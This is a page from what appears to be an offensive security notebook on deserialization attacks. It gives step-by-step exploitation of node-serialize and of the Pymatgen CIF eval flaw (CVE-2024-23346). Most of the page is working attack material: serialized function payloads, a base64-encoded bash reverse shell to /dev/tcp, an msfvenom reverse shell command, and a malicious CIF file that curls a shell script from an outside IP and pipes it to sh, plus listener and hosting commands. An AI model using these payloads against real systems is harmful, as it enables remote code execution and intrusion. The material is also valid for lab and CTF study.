🔮
P4n1cBook
  • 🏴‍☠️Welcome!
    • 🔮P4n1cBook
    • 📚Bookmarks
    • 🚨Licence and Disclaimer
  • Fundamentals
    • Starter Kit
      • Linux
      • PowerShell
      • Git
      • 💾Regex
      • Network Analysis
        • curl
        • tcpdump
        • Nmap
        • 🦈Wireshark
      • Metasploit
    • 🌐Network Protocols
      • ICMP
      • SSH
      • Telnet
      • DNS
      • FTP
      • HTTP/HTTPS
      • SMB
      • SNMP
      • SMTP
      • NFS
      • IPP
      • WinRM
      • LLMNR
      • JDWP
    • Code
      • Python Essentials
      • C & C++
    • Web APIs
      • GraphQL
    • Shells/TTYs
    • Dorks
    • Cryptography
    • Reverse Engineering
      • GDB
      • Binaries
  • Web Exploitation
    • Web Enumeration
      • User Endpoints
      • Web Fuzzing
        • ffuf
        • feroxbuster
        • Gobuster
        • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • Werkzeug
      • Databases
        • MySQL
        • NoSQL
          • MongoDB
          • Redis
      • Web Services/Frameworks
        • Wordpress
        • Laravel
        • Express
        • Magento
        • AIOHTTP
        • HashiCorp Vault
        • Tiny File Manager
        • Joomla
        • CMS Made Simple
        • 🌵Cacti
        • Tomcat
        • Zabbix
        • OpenNetAdmin
        • ImageMagick
    • Vulnerabilities
      • Arbitrary File Read
      • Session Hijacking
      • SSRF
      • Eval Injection
      • Template Manipulation
      • Path Traversal
      • Prototype Pollution
      • XXE
      • Deserialization
      • Log Poisoning
      • Arbitrary Command Execution
      • SQLi
        • SQLmap
      • SSI
      • SSTI
      • LFI
      • XSS
    • Java-based web application
      • Struts
      • .WAR
      • pd4ml.jar
  • Cloud Exploitation
    • Kubernetes
    • AWS
  • Post Exploitation
    • File Transfer
      • Exfiltration
    • Credential Dumping
      • Thunderbird
    • Lateral Movement
    • Persistence
    • Linux Privilege Escalation
      • Static Binaries
      • Enumeration
      • Hijacks
      • Command Injection
      • Jailbreaks
      • Binary Exploitation - Linux
      • Kernel Exploits
      • Buffer Overflow - Linux
      • Docker
      • Abusing Wildcards
  • Wireless Exploitation
    • NFC
Powered by GitBook
On this page
Edit on GitHub
  1. Web Exploitation
  2. Vulnerabilities

Deserialization

Deserialization vulnerability occurs when untrusted data is deserialized, allowing attackers to execute arbitrary code or manipulate the application’s behavior.

PreviousXXENextLog Poisoning

Last updated 3 months ago

nodejs

  • Install node-serialize:

npm install node-serialize

Method:

  1. Create the node reverse shell:

python3 nodejsshell.py 10.10.16.8 4444
  1. Once you have a serialized reverse shell, add it to this function:

var y = {
  rce: function(){ADD/THE/PAYLOAD/HERE}
}
var serialize = require('node-serialize');
var s = serialize.serialize(y)
console.log("Serialized: \n" + s.slice(0,-2) + "()" + s.slice(-2,));
  1. Now serialize convert to base64 the exploit using:

node exploit.js | tail -n +2 | base64 -w0

  • msfvenom also has a module to generate payloads:

msfvenom -p nodejs/shell_reverse_tcp LHOST=10.10.14.10 LPORT=1337 -o shell.js
  • Another great tool is


  • Another way is to get command execution is by using this function:

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });}()"}
  • We can generate a reverse shell out of this by encoding the command first to base64:

echo 'bash -i >& /dev/tcp/10.10.16.8/4444 0>&1' | base64
  • Now add that string to the function like this:

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44LzQ0NDQgMD4mMQo=|base64 -d|bash',
function(error, stdout, stderr) { console.log(stdout) });}()"}
  • Now URL encode the payload and add it to the cookie.


Pymatgen
  • Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis.

  • A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method.

  • This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input.

Version: prior to 2024.2.20

Poc

Example
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution
Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( * [().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl http://185.107.57.7:9000/shell.sh|sh");0,0,0'
_space_group_magn.number_BNS 62.448
  • Create the reverse shell:

echo -ne '#!/bin/bash\n/bin/bash -c "/bin/bash -i >& /dev/tcp/185.107.57.7/9001
0>&1"' > shell.sh
  • Then start a Python web server to host our newly created payload:

sudo python3 -m http.server 9000
  • Run the listener:

nc -lvnp 9001
  • Upload the malicious CIF file and view to trigger the reverse shell.

There is a security advisory in about Arbitrary code execution when parsing files:

nodejsshell.py
ysoserial
CVE-2024-23346
More info
GitHub